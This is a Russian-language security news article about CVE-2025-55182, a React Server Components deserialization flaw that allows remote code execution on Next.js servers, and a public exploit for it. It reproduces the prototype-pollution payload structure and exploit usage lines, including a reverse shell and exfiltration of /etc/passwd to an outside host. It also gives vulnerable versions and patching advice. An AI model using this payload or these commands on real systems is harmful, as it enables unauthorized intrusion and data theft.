Рабочий эксплойт для взлома React выложен на GitHub — миллионы серверов Next.js в зоне поражения

Рабочий эксплойт для взлома React выложен на GitHub — миллионы серверов Next.js в зоне поражения

Уязвимость CVE-2025-55182 официально превращается в инструмент массовых атак.

image

После объявления о критической уязвимости CVE-2025-55182 в React Server Components стало ясно, что вопрос времени — появление рабочего эксплойта. Теперь этот момент наступил: в сети опубликован инструмент, который автоматизирует атаку на серверы Next.js, использующие App Router вместе с Server Actions. В отличие от первых исследовательских демонстраций, новый код представляет собой полноценный эксплойт, готовый для массового применения. Его автор позиционирует инструмент как образовательный, но сам факт его публичного появления делает ситуацию заметно острее.

Тем более что, как и предсказывали исследователи, уязвимость уже начала эксплуатироваться атакующими: первые попытки боевого применения обнаружены в инфраструктуре Amazon Web Services (AWS). Компания связывает активность как с известными китайскими группировками, так и с неназванными кластерами, использующими анонимизирующую инфраструктуру. Наблюдения AWS показывают, что эксплуатация стартовала почти сразу после публичного раскрытия уязвимости 3 декабря 2025 года, что резко повышает значимость появления общедоступного инструмента.

Опасность остаётся прежней: из-за ошибки в десериализации протокола Flight злоумышленник может выполнить произвольный JavaScript-код на сервере через прототипное загрязнение — механизм, который позволяет незаметно вмешаться в базовые свойства объектов. В опубликованном PoC-коде атака начинается с изменения Object.prototype.then, а затем расширяется за счёт подмены конструктора, чтобы получить доступ к функции Function() и встроить в неё свою нагрузку. Структура вредоносного объекта выглядит, например, так:

{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "<malicious_code>",
      "_chunks": "$Q2",
      "_formData": {"get": "$1:constructor:constructor"}
    }
  }

Именно такой набор полей вызывает цепочку ошибок внутри Flight и приводит к выполнению кода на стороне сервера. Теперь, когда эта техника упакована в удобный инструмент, эксплуатация уязвимости занимает всего несколько команд в терминале. По данным AWS, в реальных атаках злоумышленники уже пробуют различные полезные нагрузки, выполняют команды («whoami», «id»), пытаются создавать файлы вроде /tmp/pwned.txt и читать /etc/passwd, вручную подстраивая эксплойты под поведение конкретных целевых систем.

Эксплойт распространяется как репозиторий, где уже подготовлен основной скрипт exploit.py. После установки зависимостей он позволяет как проверять единичные цели, так и сканировать списки адресов:

python3 exploit.py http://target:3000 --check
  python3 exploit.py -f targets.txt --check

Если сервер уязвим, эксплойт принимает команды и выполняет их «вслепую», возвращая только код состояния, или же выстраивает каналы для передачи данных. Например, можно запустить обычную проверку:

python3 exploit.py http://target:3000 -c "id"

или сразу открыть обратную оболочку:

python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444

Есть и вариант с пересылкой вывода команды на внешний хост:

python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444

Разработчик предусмотрел и режимы скрытности: эксплойт может имитировать поведение браузера, поисковых краулеров или даже популярных средств безопасности — достаточно указать соответствующий параметр. В итоге сервера, которые ещё не обновлены, становятся лёгкой добычей: эксплойт работает удалённо, не требует авторизации и в ряде случаев проходит через конфигурации по умолчанию, которые встречаются в Next.js и других проектах, использующих React Server Components. Между тем AWS отмечает, что атакующие активно комбинируют публичные и частично рабочие способы эксплуатации, включая PoC с GitHub, эффективность некоторых из которых подтверждена Rapid7 и Elastic Security.

Список уязвимых версий совпадает с тем, что ранее приводили Wiz и Aikido. Это промежуток от 19.0.0 до 19.2.0 для react-server-dom-webpack, а также Next.js 15.x и 16.x в комбинации App Router + Server Actions. Дополнительный CVE-идентификатор, присвоенный Next.js (CVE-2025-66478), в итоге был отклонён как дублирующий основную запись CVE-2025-55182. Поскольку многие фреймворки включают RSC поверх собственной логики, под угрозой могут оказаться приложения, которые даже не считают себя использующими серверный React напрямую.

По оценке Wiz, масштаб потенциального воздействия остаётся огромным: до 39% облачных сред могут быть уязвимы для React2Shell. При этом уже зафиксированы атаки как группировки Earth Lamia — ориентированной на эксплуатацию веб-приложений различных отраслей в Латинской Америке, на Ближнем Востоке и в Юго-Восточной Азии, — так и Jackpot Panda, традиционно работающей по целям в Восточной и Юго-Восточной Азии и собирающей широкий спектр разведывательных данных. Зафиксированные AWS попытки включали как автоматизированные сканы, так и ручную отладку эксплойтов в реальном времени.

Появление удобного эксплойта закономерно повысило тревожность в ИБ-сообществе: если ранее исследователи говорили о теоретической простоте атаки, то теперь есть инструмент, который сводит эксплуатацию к нескольким строкам. На фоне активной эксплуатации в реальной среде рекомендации остаются прежними, но их срочность значительно выросла. Разработчики React выпустили исправления, ужесточающие проверку входящих данных и меняющие поведение десериализации, однако владельцам проектов необходимо обновить не только сам React, но и все зависимости, которые могут вызывать уязвимый код.

Также советуют проверять журналы ошибок с упоминаниями аномалий в прототипах, фильтровать необычную нагрузку на уровне WAF и проводить инвентаризацию репозиториев, чтобы обнаружить косвенное использование RSC. Тем более что уже опубликовано несколько PoC-эксплойтов, и ожидается появление новых акторов, которые попытаются воспроизвести атаки. После выхода рабочего эксплойта и начала его применения в дикой природе ожидать, что злоумышленники проигнорируют такой шанс, уже не приходится. И от оперативности обновлений теперь напрямую зависит безопасность серверов на базе Next.js.